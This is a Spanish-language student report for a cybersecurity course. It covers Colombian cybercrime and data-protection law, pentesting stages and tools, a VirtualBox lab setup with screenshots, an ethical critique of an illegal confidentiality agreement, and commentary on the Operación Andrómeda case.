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RESUMEN

WhiteHouse Security es una organizacion con reconocimiento a nivel mundial por
asesorar a grandes Gobiernos en procesos de ciberseguridad y ciberdefensa, con
lo que ha alcanzado la posicién como la organizacion mas sélida en el campo de la
seguridad informética, por concerniente ha decidido que es el momento de
conformar equipos de Red Team y Blue Team dentro de su estructura para
aumentar los protocolos de seguridad al interior de esta.

En este informe se evidencia el desarrollo de las actividades propuestas para los
diferentes escenarios, donde se analiz6 el caracter legal y ético de la normatividad
vigente en Colombia referente a delitos cibernéticos, también se profundizaron
conceptos de equipos Red Team y Blue Team, los cuales se aplicaron por medio
de ataques y mitigacion de los mismos en sistemas con alto riesgo de vulnerabilidad.
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GLOSARIO

ATAQUE INFORMATICO: intento de una persona o grupo organizado, mediante el
cual se infringe dafios o modifica un sistema o red por varias razones?,

BLUE TEAM: grupo de personas que realizan evaluaciones de vulnerabilidad de la
red operativa y proporcionan técnicas de mitigacion a los clientes que necesitan una
revision técnica independiente de su postura de seguridad de la red. Blue Team
identifica las amenazas y los riesgos de seguridad en el entorno operativo y, en
cooperacion con el cliente, analiza el entorno de la red y su estado actual de
disponibilidad de seguridad. Con base en los hallazgos y la experiencia del Blue
Team, brindan recomendaciones que se integran en una solucién de seguridad
comunitaria general para aumentar la postura de preparacién de ciberseguridad del
cliente. A menudo, Blue Team se emplea solo o0 antes de un empleo del equipo rojo
para garantizar que las redes del cliente sean lo mas seguras posible antes de que
el equipo rojo pruebe los sistemas?.

CIBERATAQUE: conjunto de acciones dirigidas contra sistemas de informacion,
como pueden ser bases de datos o redes computacionales, con el objetivo de
perjudicar a personas, instituciones o empresas?.

CIBERSEGURIDAD: proteccion de los activos a través de una serie de estrategias,
metodologias y tecnologias para protegernos de las amenazas actuales y es un
nuevo punto de partida para lo que vendra en el futuro®.

CONTROL DE ACCESO: forma como se garantiza la seguridad a un espacio
restringido.

FIREWALL: dispositivo de seguridad de red que monitorea el tréfico de red entrante
y saliente y permite o bloquea paquetes de datos segun un conjunto de reglas de

L ALVEAR REINOSO, Francisco Xavier. (2019). Andlisis y disefio de una propuesta para mitigar ataques
cibernéticos a correos electrénicos utilizando técnicas de Hacking Etico. Recuperado de:
https://dspace.ups.edu.ec/bitstream/123456789/17035/1/UPS-ST004012.pdf

2 CSRC. Computer Security Resource Center. Recuperado de: https://csrc.nist.gov/glossary/term/red team
3 IBERDROLA. (2021). Ataques cibernéticos: ¢ Cudles son los principals y codmo protegerse de ellos?
Recuperado de: https://www.iberdrola.com/innovacion/ciberataques

4 CORLETTI ESTRADA, Alejandro. (2017). Ciberseguridad Una Estrategia Informatico Militar. Recuperado de:
https://www.ieee.es/Galerias/fichero/OtrasPublicaciones/Nacional/2018/Libro-

Ciberseguridad A.Corletti nov2017.pd.pdf
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seguridad. Su propdésito es establecer una barrera entre su red interna y el trafico
entrante de fuentes externas (como Internet) para bloquear el trafico malicioso como
virus y piratas informaticos®.

FIRMWARE: software que se utiliza para manipular el hardware.

IDS: sistema de deteccidon de intrusos es utilizado para conocer por medio del
andlisis del trafico en la red las actividades del mismo, con el fin de determinar los
accesos no permitidos y de esta forma prevenir las intrusiones.

METASPLOIT: es una herramienta de prueba de penetracién ampliamente utilizada
que hace que la pirateria sea mucho mas facil de lo que solia ser. Se ha convertido
en una herramienta indispensable tanto para Red Team como para Blue Team®.

PENTESTING: se puede determinar como una auditoria, se puede definir como un
método aplicado mediante el cual se simula un ataque real a un sistema informatico
con el fin de detectar y dar solucion a los problemas que pueda tener a nivel de
seguridad de la informacién’.

POLITICAS: lineamientos definidos por una entidad los cuales deben cumplir el
personal para cumplir los objetivos 0 metas propuestas.

RED TEAM: grupo de personas autorizadas y organizadas para emular las
capacidades de ataque o explotacion de un adversario potencial contra la postura
de seguridad de una empresa. El objetivo de Red Team es mejorar la ciberseguridad
empresarial demostrando los impactos de los ataques exitosos y demostrando lo
gue funciona para los defensores (es decir, el Blue Team) en un entorno operativo.
También conocido como Cyber Red Team@.

> FORCEPOINT. (2021). CYBER EDU, What is a Firewall?. Recuperado de:
https://www.forcepoint.com/es/cyber-edu/firewall

6 PORUP, JM. (2019). What is Metasploit? And how to use this popular hacking tool. Recuperado de:
https://www.csoonline.com/article/3379117/what-is-metasploit-and-how-to-use-this-popular-hacking-
tool.html

7 CATORIA, Fernando. (2013) Pruebas de Penetracién para principiantes: Explotando una vulnerabilidad con
Metasploit Framework. Recuperado de https://revista.seguridad.unam.mx/numero-19/pruebas-de-
penetracidn-para-principiantes-explotando-una-vulnerabilidad-con-metasploit-fra

8 CSRC. Computer Security Resource Center. Recuperado de: https://csrc.nist.gov/glossary/term/blue team
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RIESGOS: posibilidad que ocurra un evento inesperado y esto afecte los servicios
gue ofrece una entidad de forma negativa.

SIEM: gestion de eventos e informacion de seguridad (SIEM), es un software que
mejora la conciencia de seguridad de un entorno de Tl al combinar la gestion de la
informacion de seguridad (SIM) y la gestion de eventos de seguridad (SEM). Las
soluciones SIEM mejoran la deteccion de amenazas, el cumplimiento y la gestidon
de incidentes de seguridad mediante la recopilacion y el analisis de datos y fuentes
de eventos de seguridad histéricos y en tiempo real®.

VULNERABILIDAD: debilidad del sistema de red o equipos de coémputo en el cual
un extrafio puede atacar y comprometer la seguridad de la informacion.

® McAfee. (2021). What Is Security Information And Event Management (SIEM)?. Recuperado de:
https://www.mcafee.com/enterprise/en-us/security-awareness/operations/what-is-siem.html
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INTRODUCCION

Actualmente la informacion es un activo muy importante en las empresas, por lo
cual se le debe dar un manejo altamente confidencial, al poseer la misma en
formatos digitales se puede tener expuesta a riesgos informaticos, a este tipo de
datos pueden acceder personas no autorizadas con el fin de manipularlos, pero ellos
estan protegidos en la actualidad por leyes o normas con el fin de garantizar o
disminuir el acceso abusivo a los mismos. Para evitar este tipo de riesgos, es
necesario crear controles o politicas de seguridad ante ataques externos a la
infraestructura tecnologica de la organizacion, alli es donde actian de manera
organizada los equipos Redteam y Blueteam, quienes tratan de proteger en alto
porcentaje la integridad y disponibilidad de la data en las organizaciones.

10



OBJETIVOS

GENERAL

Profundizar en cuanto a las leyes, decretos, herramientas de ciberseguridad,
vulnerabilidades, Hardenizacion, SIEM y herramientas de contencion de ataques
informaticos para proteger la empresa Whitehouse Security de posibles ataques y
vulnerabilidades.

ESPECIFICOS

Evaluar las acciones de los equipos Red Team & Blue Team de una organizacion
en el marco de los criterios éticos y legales.

Demostrar vulnerabilidades en un sistema informatico a partir del uso de
metodologias y técnicas de intrusion.

Formular estrategias de contencibn mediante el andlisis de riesgos Yy
vulnerabilidades en una infraestructura TI.

11



DESARROLLO DEL INFORME

1. LEYES Y DECRETOS QUE EXISTEN EN COLOMBIA SOBRE DELITOS
INFORMATICOS Y PROTECCION DE DATOS PERSONALES

1.1 LEY 1273 DE 2009

La ley modifica el codigo penal para un nuevo bien juridico denominado de la
proteccion de la informacién y de los datos. También castiga a aquellas personas o
entidades que atente contra la confidencialidad, integridad y disponibilidad de la
informacion y datos.

La presente ley establece cuales son acciones consideradas delitos?'©.

Acceso abusivo a un sistema informatico: Se considera toda accién que un
usuario acceda sin autorizacion a un sistema informatico por medio de herramientas
o0 técnicas que violen la seguridad establecida.

Obstaculizacion ilegitima de sistema informatico red de
telecomunicaciones: son aquellas acciones de usuarios que sin estar autorizados
bloquee, niegan u obstaculicen un sistema informatico o informacion alli contenida

Interceptaciéon de datos informaticos: sera juzgada toda actividad que incluya la
interceptacion de informacion sin autorizacion.

Dafio informatico: son consideradas como todas las actividades que dafie, borren,
modifiquen, altere o suprima informacidn que se encuentra asegurada o protegida,

Uso de software malicioso: se considera como toda actividad en la cual se
negocie, cree o trasfiera cualquier tipo de software malicioso en el territorio nacional.

10 policia Nacional. (2021). Normatividad sobre delitos informaticos. Ley 1273 de 2009. Recuperado de
https://www.policia.gov.co/denuncia-virtual/normatividad-delitos-informaticos
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Violacion de datos personales: son aquellas actividades en las cuales se utiliza
los datos de personas extraidos ilegalmente para beneficio propio o de un tercero

Suplantacion de sitios WEB para captura datos personales: se considera un
delito todo aquel que suplante, disefie, desarrolle, trafique o programe paginas web
con el fin de beneficiarse a €l o un tercero.

Hurtos por medios informaticos y semejantes: por el cual se establece como un
delito todo aquel que hurte informacion de los sistemas operativos o una red por
medio de herramientas y actividades prohibidas.

Trasferencia no consentida de activos: son todos aquellos actos que por medio
de actividades o herramientas pueda generar manipular informacion considera
confidencia a la cual se realiza trasferencia sin acuerdo de alguna de las partes.

Agravantes: se aumenta la pena si el acusado actu6 sobre alguno de los siguientes
puntos.

* Ataque a las redes de comunicacion estatales, oficiales del sector financiero,
nacionales o extranjeras

* Ser un servidor publico

* Aprovecharse de la confianza depositada

* Revelar informacion considera confidencial

* Obteniendo provecho para si o para un tercero

* Con fines terroristas o generando riesgos para la seguridad nacional

* Utilizando a un tercero en su buena fe

1.2 LEY ESTATUTARIA 1581 DE 2012

En la presente ley se dictan disposiciones generales para la proteccién de datos
personales, esta ley complementa al derecho que tenemos como personas para
autorizar que informacion propia es almacenada en sistemas de informacion
digitales, asi como actualizacion y rectificacion de los mismos. Cabe resaltar que
esta ley esta vigente para informacién de personas naturales®.

11 |MSALUD. (2019). ABC Ley 1581 de 2012 Proteccion de Datos Personales. Recuperado de
https://www.imsalud.gov.co/web/sin-categoria/abc-ley-1581-de-2012-proteccion-de-datos-personales/
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2. ETAPAS DEL PENTESTING

El termino Pentesting también se puede determinar como una auditoria, se puede
definir como un método aplicado mediante el cual se simula un ataque real a un
sistema informatico con el fin de detectar y dar solucién a los problemas que pueda
tener a nivel de seguridad de la informacion. Para realizar dicho test, se debe tener
en cuenta las etapas o fases recomendadas para que el trabajo a realizar tenga un
orden respectivamente, dichas etapas se pueden clasificar de la siguiente manera?!?:

Recopilacion de Informacién. En este punto se busca la manera de obtener la
mayor informacion precisa referente al sistema informético al cual se le aplicaré el
Pentesting, entre dicha informaciéon se puede obtener direcciones IP, puertos de
comunicacion, motores de base de datos. El software Nmap se podria mencionar
como ejemplo util de aplicacion para obtener cierta informacion mencionada
anteriormente.

Busqueda de vulnerabilidades. En esta etapa se empieza a buscar las falencias
que pueda tener el sistema que se quiere explotar, en esta busqueda se pueden
emplear ataques de fuerza bruta con Hydra Software o de denegacion de servicio
(DoS) con LOIC software, entre otras técnicas.

Explotacion de Vulnerabilidades. En esta fase posterior a la deteccion de
vulnerabilidades, se obtiene acceso al sistema por medio de diferentes métodos
aplicados para la explotacion, un ejemplo que podria mencionarse podria la
inyeccion de codigo SQL mediante herramientas como SQLmap o Metasploit.

Entrega de reporte. En entornos reales se realizan los respectivos informes a los
interesados donde se indican las vulnerabilidades o falencias detectadas y como se
han explotado las mismas. Cabe resaltar que se podria entregar dos informes, el
técnico y ejecutivo (el cual sera entregado en lenguaje comprensible a personas
que no conocen los términos técnicos respectivos al trabajo realizado).

12 CATORIA, Fernando. (2013) Pruebas de Penetracién para principiantes: Explotando una vulnerabilidad con
Metasploit Framework. Recuperado de https://revista.seguridad.unam.mx/numero-19/pruebas-de-
penetracidon-para-principiantes-explotando-una-vulnerabilidad-con-metasploit-fra
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3. HERRAMIENTAS DE CIBERSEGURIDAD

3.1 HERRAMIENTAS

Metasploit: Es una herramienta de software para realizar auditorias a sistemas
informaticos, esta basada en la colaboracion de la comunidad de cédigo abierto, por
lo cual permite que sea de mayor acceso a la misma. Es de gran utilidad para los
equipos de seguridad de las empresas ya que permite verificar vulnerabilidades a
las que se estd expuesto y asi mejorar la conciencia en seguridad de los equipos
de seguridad de la informacién?s.

Nmap: Es una herramienta de software gratuita de codigo abierto para la deteccion
de vulnerabilidades y redes. Los administradores de red usan Nmap para establecer
qué dispositivos se estan ejecutando en sus sistemas, descubrir los hosts activos y
los servicios que estan vigentes 0 activos, encontrar puertos abiertos y detectar
problemas de seguridad4.

OpenVAS: es un Open source Vulnerability scanner muy practico y eficiente que
permite detectar problemas de seguridad e informacion especifica de
vulnerabilidades que pueden ser explotadas y de esta atentar contra la
confidencialidad, disponibilidad e integridad de los datos almacenados y procesados
en nuestros sistemas informaticos'®.

3.2 SERVICIOS EN LINEA

ExploitDB o Database: Es una pagina o directorio web donde hackers y equipos
de blue team dan a conocer informacion referente a vulnerabilidades en
aplicaciones, servicios, etc. Exponiendo datos importantes sobre cémo aprovechar
falencias con instrucciones dadas para vulnerar las mismas. Dicha pagina es un
arma de doble filo, ya que se puede hacer mal uso de la informacion con fines
diferentes a salvaguardar la estabilidad de los sistemas expuestos?®.

13 RAPID 7 METASPLOIT. El marco de pruebas de penetracién mas utilizado del mundo. Recuperado de
https://www.metasploit.com/

14 NMAP.ORG. Nat Security Scanner. Recuperado de https://nmap.org/

15 OPENVAS BY GREENBONE. Open Vulnerability Assessment Scanner. Recuperado de
https://www.openvas.org/

16 OFFEBSIVE SECURITY. (2021). Explotar la Base de Datos por seguridad ofensiva. Recuperado de
https://www.exploit-db.com/
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CVE (Common Vulnerabilities and Exposures, siglas CVE): Las
Vulnerabilidades y exposiciones comunes forman una gran lista de fallas de
seguridad en sistemas informaticos que se encuentran disponibles publicamente
por medio de su directorio o sitio web. Los CVE permiten que los especialistas le
den importancia o prioridad a la solucion en seguridad de los puntos vulnerables
que se mencionan alli, con el fin de asegurar y garantizar la estabilidad de su
infraestructura tecnolégica?l’.

17 CVE. (2021). Catalogar las Vulnerabilidad de Seguridad. Recuperado de https://cve.mitre.org/
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4. BANCO DE TRABAJO
Paso A: Descargar la herramienta virtualizadora “VirtualBox” en su ultima version.

Se inicia la instalacion de VirtualBox 6.1.26 y la respectiva ejecucion de la
aplicacion.

Figura 1. Instalacién de VirtualBox

%) Oracle VM VirtualBox 6.1.26 Setup (X

Welcome to the Oracle VM
VirtualBox 6.1.26 Setup
Wizard

The Setup Wizard wil install Orade VM VirtualBox 6.1.26 on
your computer. Click Next to continue or Cancel to exit the
Setup Wizard.

Version 6.1.26 [ Mext = ] [ Cancel ]

Fuente: Elaboracion propia

Figura 2. Finalizacion de la instalacion de VirtualBox

2 Oracle VM VirtualBox 6.1.26 Setup (2]

Oracle VM VirtualBox 6.1.26
installation is complete.

Click the Finish button to exit the Setup Wizard.

[V] start Orade VM VirtualBox 6. 1.25 after installation

Version 6.1.26 < Back Cancel
Fuente: Elaboracion propia
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Paso B: Una vez se realice apertura del foro para el desarrollo de la actividad se
procedera a compartir enlace de descarga de lo requerido para el montaje del banco
de trabajo, las imagenes en formato. OVA las cuales se encuentran ya
preconfiguradas para ser utilizadas en las actividades de caracter técnico. En las
imagenes. OVA existe: Un windows 7 X86, un windows 7 X64, un Kali Linux.

Figura 3. Descarga archivos para el montaje del banco de trabajo

Fecha de modifica...

Mombre Tipo Tamafio
- . . R L e .. a e -
W VirtualBox-6.1.26-145957-Win 28/08/2021 9:33 Aplicacion 105.699 KB
W Kali - Seminario-002 28/08/2021 2:27 Open Virtualizatio...  5.201.336 KB
W Wins-5E2020-X64-003 28/08/2021 213 Open Virtualizatio...  3.683.633 KB
W winf-5E2020-001 AB/08/20 1.47 Open Virtualizatio...  2.559.240 KB
Fuente: Elaboracion propia
Figura 4. Inclusién archivos . OVA en virtualbox
rﬁ Cracle VM VirtualBox Administrador =NRCN X
Archive Maquina Ayuda
T T0) i Sl
ﬁﬁﬁ] Herramientas %-l_w,ré S.S,J‘] :§> -
Mueva Configuraddn Descartar Mostrar
. ESISeg.DB =] General =] previsualizacién o
Mombre: Kali - Seminario
EJ ] Win7-SE2020-X64 Sistema operativo:  Debian {(84-bit)
@ Apagada IE‘ Sistema
Memoria base: 1235 MB
win7-SE2020 Orden de arranque:  Optica, Disco duro
(T Aceleracidn: VT-x/AMD-Y, Paginacién
*?' @ Apagada anidada, Paravirtualizacidn
KVM
[P Kali - Seminario O @ Pantalla
W) > Corriendo g=
Memoria de video: 16 MB
Controlador gréfico: VBOXVGA
Servidor de escritorio remoto:  Inhabilitado
Grabadidn: Inhabilitado
Almacenamiento
Controlador: I0E v

Fuente: Elaboracion propia

Paso C: Debe validar que exista comunicacion entre cada una de las maquinas
Windows con la maquina de Kali Linux, recuerde por favor no encender las tres
maquinas al tiempo ya que puede colapsar los recursos hardware de su equipo
host, encienda primero una maquina Windows y posterior a ello encienda la

maquina Kali Linux.
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Los archivos VDO compartido por google drive presentaron problemas de
compatibilidad, por ende, no pude trabajar sobre los mismos, de igual manera
informarle mi computador no funcion6 con sistema a 32 bits.

Por medio de la siguiente captura de pantalla se muestra la evidencia del proceso
ejecutado con el fin de validar la comunicacion entre las maquinas virtuales.

Se aplica el comando ping 192.168.8.112 -t desde la maquina Windows con el fin
de recibir respuesta desde Kali Linux, siendo este satisfactorio.

Figura 5. Prueba de conexion entre los hosts Kali Linux y Windows 7 x64

£7 Winddws 7 Ultimate

Microsoft Windows
Versién 6. 1 (compilacién 7601: Service Pack 1)
Copyright & 2009 Microsoft Corporation. Reservados todos los derechos.

El sistema operativo Windows 7 Ultimate v la interfaz de usuario estan
protegidos por las leyes de marca comerdial v otros derechos de propiedad
intelectual actuales y pendientes en los Estados Unidos v otros paises.

ER C\Windows\system32\CMD.exe - ping 192168.8112 -t

C:slUserssHWING4 »ping J168.8.112 —¢

Haciendo ping a
desde
desde
desde
desde
desde
desde
desde
desde
desde
desde

espuesta dezde

Hespuesta desde

Hespuesta desde

112 con 32 hytes de datos:

112: tiempo<im TTL=64
2 tiempo=ims TTL=64
tiempo<im TTL=64
tiempo=ims TTL=64
tiempo=ims TTL=64
tiempo=imz TTL=64
tiempo<im TTL=64
tiempo<im TTL=64
tiempo<im TTL=64
tiempo<im TTL=64
tiempo=imz TTL=64
tiempo<im TTL=64
tiempo<im TTL=64

IR
[==f==j==fec)=-gac)eofe el

2
2
2
2
2
2
2
2
2
2

: bytesz=3

B i i)

Fuente: Elaboracion propia
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Figura 6. Maquina virtual Windows 7 x64 con IP 192.168.8.111

fJ Windows 7 Ultimate

Microsoft Windows
Wersion 6. 1 (compilacién 7601: Service Pack 1)
Copyright © 2009 Microsoft Corporation. Reservados todos los derechos.

El sistema operativo Windows 7 Ultimate v |a interfaz de usuario estan
protegidos por las leyes de marca comerdal y otros derechos de propiedad
intelectual actuales y pendientes en los Estados Unidos y otros paises.

B C\Windows\system32\CMD.exe
Adaptador de Ethernet Conexion de area local:
Sufijo DNS especifico para la conexidn. . =
Uinculo: direccidn IPub local. . . : fe8@::25f5:2a26:4877:7bbixil
Direccidn IPv4. . . . . . . . . . . . . . & 192.168.8.111
Mascara de subred . . . . . . . . . . . . * 255.255.255.8
Puerta de enlace predeterminada . . . . . - 192.168.8.1
Ndaptador de tdnel isatap.{67592B84-BE6F-4EB8-9C43-4BAN62FDEBSDY :

Estado de los medios. . . R medios desconectados

Sufijo DNS especifico para-la-l (-:DI:IE)-(iI;IIn: -

C:sUserss\WIN64>uinver
C:slUserssWINo4>

I

Fuente: Elaboracion propia
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Figura 7. Maquina virtual Kali Linux 2021 con IP 192.168.8.112

B a2 B = k 07:20PM O A posw| @ &

Emulador de terminal
l Usar la linea de ordenes

Papelera kali@kali: ~

Archivo Acciones Editar Vista Ayuda

~

g eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
Sisterna de inet 192.168.8.112 netmask 255.255.255.0 broadcast 1
ST 92.168.8.255
inet6 fe80::a00:27ff:fe7c:a356 prefixlen 64 scopeid
0x20<link>
f ether 08:00:27:7c:a3:56 txqueuelen 1000 (Ethernet)
RX packets 9 bytes 3190 (3.1 KiB)
Carpeta RX errors @ dropped @ overruns @ frame 0
personal TX packets 20 bytes 2834 (2.7 KiB)
TX errors @ dropped @ overruns @ carrier @ collisio
ns 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 400 (400.0 B)
RX errors @ dropped @ overruns @ frame 0
TX packets 8 bytes 400 (400.0 B)
TX errors @ dropped @ overruns @ carrier @ collisio

Fuente: Elaboracion propia
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Paso D: Evidenciar con printscreen el montaje del banco de trabajo y explicar
como se encuentra desplegado “caracteristicas técnicas de hardware”.

Figura 8. Montaje del banco de trabajo y caracteristicas de hardware para Kali
Linux

8% Oracle VM VirtualBox Administrador - O X
Archivo Maquina Ayuda
1AW f“:/}
ju j Herramientas w -
Nueva Configuracién Descarfar  Mostrar

&, XG4 !I General !I Previsualizacién

.f [l @ Corrienda Nombre: KALT 2021 I
Sistema operativo: Debian (64-bit) KAL
o = (8 sstena —
( )
S = U Memoria base: 2048 MB
Orden de arranque: Disquete, Optica, Disco duro
Aceleracidn: VT-x/AMD-V, Paginacién
anidada, Paravirtualizacién
KM
!j Pantalla
Memoria de video: 16 MB
Controlador grafico: VMSVGA
Servidor de escritorio remoto: Inhabilitado
Grabacidn: Inhabilitado

@ Almacenamiento

Controlador: IDE

IDE secundario maestro: [Unidad dptica] kali-linux-2021.2-installer-amd6é4.iso (4,24 GB)
Controlador: SATA

Puerto SATA 0: KALI 2021.vdi (Normal, 32,00 GB)

L-D-l Audio

Controlador de anfitrion: Windows DirectSound
Controlador: ICH ACS7

£ red
Adaptador 1: Intel PRO/1000 MT Desktop (MAT)
L5 use

Controlador USB: OHCI
Filtros de dispositivos: 0 (0 activo)

D Carpetas compartidas

Fuente: Elaboracion propia
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Figura 9. Montaje del banco de trabajo y caracteristicas de hardware para
Windows 7 x64

8 Oracle VM VirtualBox Administrador - O X

Archivo Maquina Ayuda

i — W e ~ -

Nueva Configuracidn Descartar  Mostrar

!] General 5 Previsualizacion
Nombre: WIN7X64
Sistema operativo: Windows 7 (64-bit)
[ 7
?"—-\ KALI 2021 m Sistema Windows 7 Uttimate
) = Corriendo Memaoria base: 2048 MB

Procesadores: 2
Orden de arranque: Disquete, Optica, Disco duro
Aceleracidn: VT-%/AMD-V, Paginacién

anidada, Paravirtualizacién

Hyper-v
!J Pantalla
Memoria de video: 32 MB
Controlador grafico: VBOXSVGA
Servidor de escritorio remoto:  Inhabilitado
Grabacidn: Inhabilitado

@ Almacenamiento

Controlador: SATA
Puerto SATA 0:  WIN7ZXe4.vdi (Mormal, 19,19 GB)
Puerto SATA 1: [Unidad dptica] Windows 7 64 Bits Ultimate SP1.iso (5,53 GB)

{p Audio

Controlader de anfitrin:  Windows DirectSound

Controlador: Audie Intel HD

&' Red

Adaptador 1: Intel PRO/1000 MT Desktop (Adaptador puente, «Dell Wireless 1601 802.11 a/g/n
Adapters)

(¥ uss

Controlador USB: OHCI

Filtros de dispositivos: 0 (0 activo)

D Carpetas compartidas

Fuente: Elaboracién propia
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5. EVIDENCIAS DEL PROCESO ILEGAL Y NO ETICO QUE SE ESTE
ESTIPULADO

Luego de analizar el anexo 3 — Acuerdo, se logra evidenciar diferentes anomalias
de caracter legal y ético, las cuales violan la ley y politicas de privacidad o
tratamiento de datos vigente, ademas deja mucho que pensar de la empresa
WhiteHouse Security quien inicia un proceso “irresponsable” de seleccion de
personal sin revisar previamente los puntos del contrato (acuerdo) elaborado por su
ex abogado, quien fue despedido por la organizacién al hallar procesos ilicitos de
Su parte.

Después de estudiar la situacion queda un gran interrogante en este momento:
¢Es la organizaciobn quien aprovecha la redaccion del acuerdo para librar
responsabilidad con el nuevo personal contratado o es negligencia de la misma
proceder sin verificar el vacio legal donde finalmente se desconoce quién sera
perjudicado?

A continuacion, se sefalan los fragmentos ilegales del anexo acuerdo y se
mencionan donde se ubican:

v Clausula Primera.

Objeto: en virtud del presente acuerdo de confidencialidad, la parte
receptora, se obliga a no divulgar directa, indirecta, proxima a remotamente,
ni a través de ninguna otra persona o de sus subalternos o funcionarios,
autoridades legales, asesores 0 cualquier persona relacionada con ella, la
informacion confidencial 0 sobre procesos ilegales dentro de Whitehouse
Security no podran ser divulgados.

v' Clausula Segunda.

Definicion de informacion confidencial: se entiende como Informacién
Confidencial, para los efectos del presente acuerdo:

2. Cualquier informacién societaria, técnica, juridica, financiera, comercial, de
mercado, estratégica, de productos, nuevas tecnologias, patentes, modelos
de utilidad, disefios industriales, datos secretos como “datos de chuzadas,
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interceptacién de informacion, accesos abusivos a sistemas informaticos”.
parte receptora tenga conocimiento o a la gue tenga acceso por _cualquier
medio o circunstancia en virtud de las reuniones sostenidas y/o documentos
suministrados.

Clausula Tercera.

Origen de la informacién confidencial: provendra de documentos
suministrados en el proceso de seleccidn de personal y que tiene que ver con
las creaciones del intelecto, a la naturaleza, medios, formas de distribucion,
comercializacion de productos o de prestacion de servicios, transmitida
verbal, visual o materialmente, por escrito en los documentos, medios
electrdnicos, discos 6pticos, microfilmes, peliculas, e-mail u otros elementos
similares suministrados de manera tangible o intangible, independiente de su
fuente o soporte y sin que requiera advertir su caracter confidencial.

Clausula Cuarta.

3. No denunciar ante las autoridades actividades sospechosas de espionaje
0 cualquier otro proceso en el cual intervenga la apropiacién de informacién
de terceros.

4. Abstenerse de denunciar y publicar la informacion confidencial e ilegal
que conozca, reciba o intercambie con ocasion de las reuniones sostenidas.

7. Responder por el mal uso que le den sus representantes a la informacién
confidencial.

9. La parte receptora se obliga a no_transmitir, comunicar revelar o de
cualquier otra forma divulgar total o parcialmente, publica o privadamente, la
informacién confidencial o ilegal sin el previo consentimiento por escrito
por parte de Whitehouse Security.

25



v" Clausula Octava.

Octava. Solucién de controversias: Las partes (nombre estudiante —
nombre empresa) se comprometen a esforzarse en resolver mediante los
mecanismos alternativos de solucion de conflictos cualquier diferencia que
surja con motivo de la ejecucién del presente acuerdo. En caso que la
informacion ilegal o confidencial sea encontrada en manos del receptor este
deberd acudir a un abogado privado y dejar exenta de cualquier
responsabilidad legal y penal a Whitehouse Security.
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6. ARTICULOS DE LA LEY 1273 QUE SE PUEDEN VULNERAR EN EL
ACUERDO

Al descubrir procesos ilegales en el anexo 3 — Acuerdo, se aclara porque infringe
los articulos de la ley 1273 de 2009*® en los siguientes puntos:

v Clausula Segunda.

En esta clausula se vulnera el articulo 269A y 269C porque se pide guardar
la confidencialidad de procesos en los cuales se obtuvo informacién de
manera ilicita, entre estos podemos mencionar chuzadas, acceso abusivo a
sistema informatico e interceptacion de datos sin consentimiento del
propietario.

v Clausula tercera y cuarta.

En esta clausula se vulnera el articulo 269F ya que independiente de la
fuente o soporte y sin que se informe sobre el caracter confidencial de la
informacion, se hace uso de esta sin estar facultados, llegando a realizar una
violacion de datos personales.

v" Clausula Octava.

En esta clausula se vulnera el articulo 269H debido a su circunstancia de
agravacion punitiva por quien incurre en estas conductas es el responsable
de la administracion, manejo o control de dicha informacion.

18 policia Nacional. (2021). Normatividad sobre delitos informaticos. Ley 1273 de 2009. Recuperado de
https://www.policia.gov.co/denuncia-virtual/normatividad-delitos-informaticos
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7. ARGUMENTACION DEL TRABAJO EN THE WHITEHOUSE, DONDE LA
ORGANIZACION DISPONE DE UN SUELDO DE $15.000.000 DE PESOS
COLOMBIANOS MENSUALES Y CONTRATO VITACLICIO

Mi respuesta seria negativa ante esta opcion laboral, a pesar del sueldo tentador y
que colocaria a mas de uno a dudar, preferiria desistir de esta oportunidad ya que
viola mi conducta como ingeniero, quedando expuesto a sanciones fuertes por parte
de quien terminaria definiendo mi futuro profesional basada en los hechos que se
demuestren, para este caso en particular seria COPNIA quien se basaria en la
argumentacion que se dispone en su codigo de ética para ingenieros.

A continuacion, se mencionan algunos de los argumentos dispuestos en el Cadigo
de Etica para el ejercicio de la Ingenieria de COPNIA® y que podria vulnerar al
aceptar el cargo:

Titulo IV. Capitulo Il
ARTICULO 31. DEBERES GENERALES DE LOS PROFESIONALES.

b) Custodiar y cuidar los bienes, valores, documentacion e informacion
que por razon del ejercicio de su profesion, se le hayan
encomendado o a los cuales tenga acceso; impidiendo o evitando su
sustraccion,  destruccion, ocultamiento o utilizacion  indebidos, de
conformidad con los fines a que hayan sido destinados.

f) Denunciar los delitos, contravenciones y faltas contra este Cddigo de
Etica, de que tuviere conocimiento con ocasion del ejercicio de su
profesion, aportando toda la informacibn y pruebas que tuviere en
su pode

ARTICULO 32. PROHIBICIONES GENERALES A LOS
PROFESIONALES. Son prohibiciones generales a los profesionales:

b) Permitir, tolerar o facilitar el ejercicio ilegal de las profesiones
reguladas por esta ley

19 COPNIA. (2015). Cédigo de Etica para el ejercicio de la Ingenieria en general y sus profesiones afines y
auxiliares. Recuperado de
https://www.copnia.gov.co/sites/default/files/node/page/field insert file/codigo etica.pdf
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g) Causar, intencional o culposamente, dafio o pérdida de bienes,
elementos, equipos, herramientas o documentos que hayan llegado
a su poder por razén del ejercicio de su profesion
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8. PUNTO DE VISTA DEL CASO OPERACION ANDROMEDA BUGGLY

De acuerdo a la informacion consultada referente a la noticia mencionada,
aparentemente se logra evidenciar que en el actuar de Buggly Ethical Hacking quien
era la fachada de la operacion Andromeda 2021 de la Central de Inteligencia
Técnica del Ejército Nacional, se vulneraron de cierta manera las leyes de
proteccion de datos personales y de sistemas informaticos, es decir la ley 1273 de
2009 y 1581 de 2012.

A continuacion, se menciona de qué forma se violaron ciertos articulos de la ley
1273 con el actuar de la operacion Andrémeda:

e Articulo 269A y 269G: Acceso abusivo a un sistema informético y
suplantacion de sitios web para capturar datos personales.

Se obtuvo informacién confidencial por medio de diferentes métodos o
técnicas de ethical hacking en los cuales se evidencia la infraccion pertinente.

e Articulo 269E: Uso de software malicioso.

Mencionan que se empled software malicioso para acceder a informacion de
personas, lo que equivale a interceptacion de comunicaciones, el cual
enviaba informacion hacia donde estaba alojado el sitio web de Buggly. El
malware tomaba capturas de pantalla del escritorio, enviaba una copia de lo
que entraba y salia a través de sus redes y registraba lo que tecleaban, segun
reportes de medios de comunicacion.

e Articulo 269F y 269J: Violacion de datos personales y transferencia no
consentida de activos.

Algunos de los involucrados fueron acusados de vender bases de datos de
los desmovilizados de las Farc, entre otros tipos de informacion de suma
